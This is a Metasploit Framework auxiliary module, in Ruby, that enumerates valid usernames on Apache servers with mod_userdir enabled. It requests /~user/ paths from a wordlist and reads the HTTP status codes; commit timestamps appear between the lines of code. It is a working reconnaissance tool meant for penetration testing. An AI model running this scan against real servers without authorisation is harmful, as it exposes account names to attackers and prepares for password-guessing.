metasploit-framework/modules/auxiliary/scanner/http/apache_userdir_enum.rb

102 lines
2.7 KiB
Ruby
Raw Normal View History

##
# This module requires Metasploit: http://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##
require 'msf/core'
2016-03-08 13:02:44 +00:00
class MetasploitModule < Msf::Auxiliary
2013-08-30 21:28:54 +00:00
include Msf::Exploit::Remote::HttpClient
include Msf::Auxiliary::Report
include Msf::Auxiliary::Scanner
include Msf::Auxiliary::AuthBrute
def initialize
super(
'Name' => 'Apache "mod_userdir" User Enumeration',
'Description' => %q{Apache with the UserDir directive enabled generates different error
codes when a username exists and there is no public_html directory and when the username
does not exist, which could allow remote attackers to determine valid usernames on the
server.},
'Author' =>
[
'Heyder Andrade <heyder.andrade[at]alligatorteam.org>',
],
'References' =>
[
['BID', '3335'],
['CVE', '2001-1013'],
['OSVDB', '637'],
2013-08-30 21:28:54 +00:00
],
'License' => MSF_LICENSE
)
register_options(
[
2015-11-25 17:16:22 +00:00
OptString.new('TARGETURI', [true, 'The path to users Home Page', '/']),
2013-08-30 21:28:54 +00:00
OptPath.new('USER_FILE', [ true, "File containing users, one per line",
2013-09-26 19:34:48 +00:00
File.join(Msf::Config.data_directory, "wordlists", "unix_users.txt") ]),
2013-08-30 21:28:54 +00:00
], self.class)
deregister_options(
'PASSWORD',
'PASS_FILE',
'USERPASS_FILE',
'STOP_ON_SUCCESS',
'BLANK_PASSWORDS',
'USER_AS_PASS'
)
end
def run_host(ip)
@users_found = {}
each_user_pass { |user,pass|
do_login(user)
}
if(@users_found.empty?)
2015-11-25 17:16:22 +00:00
print_status("#{full_uri} - No users found.")
2013-08-30 21:28:54 +00:00
else
2015-11-25 17:16:22 +00:00
print_good("#{full_uri} - Users found: #{@users_found.keys.sort.join(", ")}")
2013-08-30 21:28:54 +00:00
report_note(
:host => rhost,
:port => rport,
:proto => 'tcp',
:sname => (ssl ? 'https' : 'http'),
:type => 'users',
:data => {:users => @users_found.keys.join(", ")}
)
end
end
def do_login(user)
2015-11-25 17:16:22 +00:00
vprint_status("#{full_uri}~#{user} - Trying UserDir: '#{user}'")
uri = normalize_uri(target_uri.path)
2013-08-30 21:28:54 +00:00
payload = "#{uri}~#{user}/"
begin
res = send_request_cgi!(
2013-08-30 21:28:54 +00:00
{
'method' => 'GET',
'uri' => payload,
'ctype' => 'text/plain'
}, 20)
return unless res
if ((res.code == 403) or (res.code == 200))
2015-11-25 17:16:22 +00:00
print_good("#{full_uri} - Apache UserDir: '#{user}' found ")
2013-08-30 21:28:54 +00:00
@users_found[user] = :reported
else
2015-11-25 17:16:22 +00:00
vprint_status("#{full_uri} - Apache UserDir: '#{user}' not found ")
2013-08-30 21:28:54 +00:00
end
rescue ::Rex::ConnectionRefused, ::Rex::HostUnreachable, ::Rex::ConnectionTimeout
rescue ::Timeout::Error, ::Errno::EPIPE
end
end
end